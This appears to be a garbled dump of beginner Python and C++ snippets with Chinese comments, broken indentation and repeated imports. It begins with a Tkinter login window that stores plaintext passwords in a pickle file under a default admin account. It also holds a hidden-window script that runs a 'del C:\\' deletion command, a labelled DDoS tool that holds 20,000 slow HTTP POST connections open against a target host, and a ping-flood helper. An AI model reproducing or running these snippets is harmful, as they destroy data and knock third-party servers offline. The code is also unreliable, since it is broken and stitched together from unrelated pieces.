print(\'Hello, World!\')

from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
  window=tk.Tk()
  window.title(\'欢迎使用Windows高级功能！\')
  window.geometry(\'450x300\')
画布放置图片
canvas=tk.Canvas(window,height=300,width=500)

imagefile=tk.PhotoImage(file=\'Hello.png\')

image=canvas.create_image(0,0,anchor=\'nw\',image=imagefile)

canvas.pack(side=\'top\')
标签 用户名密码
tk.Label(window,text=\'用户名:\').place(x=100,y=150)

tk.Label(window,text=\'密码:\').place(x=100,y=190)
用户名输入框
var_usr_name=tk.StringVar()

entry_usr_name=tk.Entry(window,textvariable=var_usr_name)

entry_usr_name.place(x=160,y=150)
密码输入框
var_usr_pwd=tk.StringVar()

entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show=\'*\')

entry_usr_pwd.place(x=160,y=190)
登录函数
def usr_log_in():

#输入框获取用户名密码

usr_name=var_usr_name.get()

usr_pwd=var_usr_pwd.get()

#从本地字典获取用户信息，如果没有则新建本地数据库

try:

with open(\'usr_info.pickle\',\'rb\') as usr_file:

usrs_info=pickle.load(usr_file)

except FileNotFoundError:

with open(\'usr_info.pickle\',\'wb\') as usr_file:

usrs_info={\'admin\':\'admin\'}

pickle.dump(usrs_info,usr_file)

#判断用户名和密码是否匹配

if usr_name in usrs_info:

if usr_pwd == usrs_info[usr_name]:
    tk.messagebox.showinfo(title=\'welcome\',
                message=\'欢迎您：\'+usr_name)
    
    

  else:
    
    tk.messagebox.showerror(message=\'密码错误\')
#用户名密码不能为空
elif usr_name==\'\' or usr_pwd==\'\' :
  
  tk.messagebox.showerror(message=\'用户名或密码为空\')
#不在数据库中弹出是否注册的框
else:
  is_signup=tk.messagebox.askyesno(\'欢迎\',\'您还没有注册，是否现在注册\')
  if is_signup:
    usr_sign_up()

注册函数
def usr_sign_up():
#确认注册时的相应函数
def signtowcg():
#获取输入框内的内容
  nn=new_name.get()
  np=new_pwd.get()
  npf=new_pwd_confirm.get()

  #本地加载已有用户信息,如果没有则已有用户信息为空
  try:
    with open(\'usr_info.pickle\',\'rb\') as usr_file:
      exist_usr_info=pickle.load(usr_file)
  except FileNotFoundError:
      exist_usr_info={}      
  
  #检查用户名存在、密码为空、密码前后不一致
  if nn in exist_usr_info:
    tk.messagebox.showerror(\'错误\',\'用户名已存在\')
  elif np ==\'\' or nn==\'\':
    tk.messagebox.showerror(\'错误\',\'用户名或密码为空\')
  elif np !=npf:
    tk.messagebox.showerror(\'错误\',\'密码前后不一致\')
  #注册信息没有问题则将用户名密码写入数据库
  else:
    exist_usr_info[nn]=np
    with open(\'usr_info.pickle\',\'wb\') as usr_file:
      pickle.dump(exist_usr_info,usr_file)
    tk.messagebox.showinfo(\'欢迎\',\'注册成功\')
    #注册成功关闭注册框
    window_sign_up.destroy()
#新建注册界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry(\'350x200\')
window_sign_up.title(\'注册\')
#用户名变量及标签、输入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text=\'用户名：\').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密码变量及标签、输入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text=\'请输入密码：\').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show=\'*\').place(x=150,y=50)  
#重复密码变量及标签、输入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text=\'请再次输入密码：\').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show=\'*\').place(x=150,y=90)  
#确认注册按钮及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text=\'确认注册\',
             command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)

退出的函数
def usr_sign_quit():

try :
  window.destroy()
except :
  pass

登录 注册按钮
bt_login=tk.Button(window,text=\'登录\',command=usr_log_in)

bt_login.place(x=140,y=230)

bt_logup=tk.Button(window,text=\'注册\',command=usr_sign_up)

bt_logup.place(x=210,y=230)

bt_logquit=tk.Button(window,text=\'退出\',command=usr_sign_quit)

bt_logquit.place(x=280,y=230)
主循环
window.mainloop()
--coding:utf-8-


import socket

import threading

import Queue

import time

except :

pass

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw() 
window.mainloop() 

int main()
{
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
return 0;

}

#include<iostream>
using namespace std;
int main()
{
	cout<<"Hello,World!"<<endl;
	return 0;
}

import socket
import time
import threading
#Pressure Test,ddos tool
---------------------------
MAX_CONN=20000

PORT=80

HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.

PAGE="/index.php"
---------------------------
buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf.encode())

print ("Send buf OK!,conn=%d\n"%i)

socks.append(s)

except Exception as ex:

print ("Could not connect to server or send error:%s"%ex)

time.sleep(0.1)
end def
def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f".encode())

#print "send OK!"

except Exception as ex:

print ("Send Exception:%s\n"%ex)

socks.remove(s)

s.close()

time.sleep(0.1)
end def
conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())
conn_th.start()

send_th.start()

import os
import socket
import time
ip = input("请输入IP：")
os.system("ping -t -l 50 " + ip)

import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
os.system("copy 路径 路径 ")

#调用socket
import socket
print("Hello,socket!")

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
  cd = input("请输入指令>>")
  if cd == "1":
    ping()
  if cd == "2":
    print(\'此功能暂不可用\')
  input_cd()
def ping():

host = input("请输入对方IP:")

qiangdu = input("请输入强度(1-65500)